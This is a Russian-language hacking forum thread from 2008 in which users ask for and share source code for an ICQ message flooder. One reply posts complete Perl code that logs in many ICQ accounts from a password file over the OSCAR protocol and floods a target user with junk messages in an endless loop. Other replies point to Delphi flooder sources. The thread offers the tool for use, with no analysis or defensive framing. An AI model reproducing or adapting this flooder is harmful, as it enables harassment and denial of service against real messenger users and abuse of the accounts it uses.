Есть у кого нибудь исходник icq флудера?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Sin3v, 30 Aug 2008.

  1. Sin3v

    Sin3v Banned

    Joined:
    16 Jul 2008
    Messages:
    11
    Likes Received:
    95
    Reputations:
    9
    Есть у кого нибудь простейший исходник icq флудера? выложите пожалуйста. А то я делал че то у меня коряво отправляет сообщения :mad:
     
    6 people like this.
  2. SVAROG

    SVAROG Elder - Старейшина

    Joined:
    13 Feb 2007
    Messages:
    424
    Likes Received:
    86
    Reputations:
    -1
    Sin3v на чём свой флудер писал?
     
  3. Sin3v

    Sin3v Banned

    Joined:
    16 Jul 2008
    Messages:
    11
    Likes Received:
    95
    Reputations:
    9
    delphi
     
    3 people like this.
  4. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    Sin3v стукни мне в асю 7434214, или залей куданить, чем смогу-помогу)))
     
  5. 0verbreaK

    0verbreaK Elder - Старейшина

    Joined:
    30 Apr 2008
    Messages:
    318
    Likes Received:
    42
    Reputations:
    -3
    Был старый флудер на Delphi от Coban2k, если найду скину
     
  6. xazlon

    xazlon Member

    Joined:
    11 Jun 2008
    Messages:
    6
    Likes Received:
    11
    Reputations:
    0
    Cурс на perl.

    Code:
    #!/usr/bin/perl
    use threads;
    use threads::shared;
    use Socket;
    use Tk;
    my($main,$Uin,$Time);
    $main=MainWindow->new(-title => 'Joni_Flod');
    $main->resizable( 1, 0 );
    $main->Label(-text => 'ICQ')->pack;
    $Uin=$main->Entry(-width => 12)->pack;
    $main->Label(-text => 'Timeout (ms):')->pack;
    $Time=$main->Entry(-width => 12)->pack;
    $main->Button(-text => 'FUCK_IT',
    -command => \&go)->pack(-side => 'top');
    $main->Label(-text => 'Coded By p@rker ')->pack;
    $main->Label(-text => 'Version hArD')->pack;
    $main->Label(-text => 'Specialy for antichat')->pack;
    system("cls");
    MainLoop;
    sub go {
    my $targetUin = $Uin->get;
    my $timer = $Time->get;
    my $message = ' *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL* ';
    my ($host,$port) = ('login.oscar.aol.com', 5190);
    my @uins : shared;
    open(FILE, '<uins.txt');
    @uins = <FILE>;
    close(FILE);
    chomp(@uins);
    my $threads = scalar @uins; #количество потоков = количеству асек в файле
    my @thread;
    for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 1 } #задержка перед подключением уинов
    for(1..$threads) { $thread[$_]->join; }
    
    sub flood {
        my ($uin,$password) = split(/;/,shift(@uins));
        my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
        "\x00\x02".int2bytes(length($password)).
        substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
        "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
        "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
        "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
        "\x0E\x00\x02\x75\x73";
        my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
        socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));
        connect(SOCKET,sockaddr_in($port,inet_aton($host)));
        my $response;
        sysread(SOCKET,$response,10);
        syswrite(SOCKET,$FLAP.$SNAC);
        sysread(SOCKET,$response,65535);
        close(SOCKET);
    
        if($response=~/MISMATCH_PASSWD/) { return }
        my ($BOS_Host, $BOS_Port, $Cookie);
        if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
            $Cookie = parsCookie($response);
            print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n"
        } else { return }
        $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
        $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    
        socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));
        connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BOS_Host)));
        sysread(SOCKET,$response,10);
        syswrite(SOCKET,$FLAP.$SNAC);
        sysread(SOCKET,$response,65535);
    
        $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
        "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
        "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
        "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
        "\x00\x01\x01\x10\x02\x8A";
        $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
    
        syswrite(SOCKET,$FLAP.$SNAC);
        for(;;) {
            $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02".
            pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).
            "\x00\x00".
            "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".
            "\x00\x0A\x00\x02\x00\x01\x00\x0F".
            "\x00\x00\x27\x11". #хз
            int2bytes(length($message)+62). #61 + длина текста
            "\x1B\x00\x08".("\x00"x19).
            "\x03\x00\x00\x00".
            "\x00\x02\x00\x0E\x00\x02".("\x00"x13).
            "\x01\x00\x00\x00\x00".
            "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";
            $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
            syswrite(SOCKET,$FLAP.$SNAC);
     print "$uin [+] \n";
            sleep ($timer/60); #ЗАДЕРЖКА МЕЖДУ СООБЩЕНИЯМИ
    
        }
    
    }
    
    sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое
    
    sub parsCookie { #парсер куки
        my $cookie = shift;
        my $i++;
        for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
        return substr($cookie,4+$i,256)
    }
    
    BEGIN {    #счётчик номера пакета
        my $seqNum = int(rand(65535));
        sub seqNum {
            $seqNum++;
            $seqNum = 0 if $seqNum > 65535;
            return int2bytes($seqNum)
        }
    }
    }
     
  7. [CRC]

    [CRC] Member

    Joined:
    22 Nov 2007
    Messages:
    18
    Likes Received:
    8
    Reputations:
    0
    вот тут выложен исходник на delphi
     
    1 person likes this.
  8. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    есть.
     
  9. Sin3v

    Sin3v Banned

    Joined:
    16 Jul 2008
    Messages:
    11
    Likes Received:
    95
    Reputations:
    9
    Я ненашел а ссылку слабо выложить если там есть
     
  10. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    +пятсод автору!
    Тоже интересно как реализован флудер
    Так что де-визибл тебе деваться не куда)))
     
  11. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    вот тут:
    http://progs.volkov.spb.su/ticqclient/
    есть пример работи c ICQпротоколом))
    там же есть исходник CheatICQ (пример роботи с ICQпротоколом) )))
     
  12. Звеpь

    Звеpь Banned

    Joined:
    5 Nov 2008
    Messages:
    16
    Likes Received:
    55
    Reputations:
    -6
    тоже ищу;)
     
  13. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    Звеpь угу чтоб потом написать свой :D
    зы сори за офтоп :)
     
  14. f®@me™

    f®@me™ Member

    Joined:
    24 Nov 2008
    Messages:
    0
    Likes Received:
    36
    Reputations:
    0
    А сами написать не можем??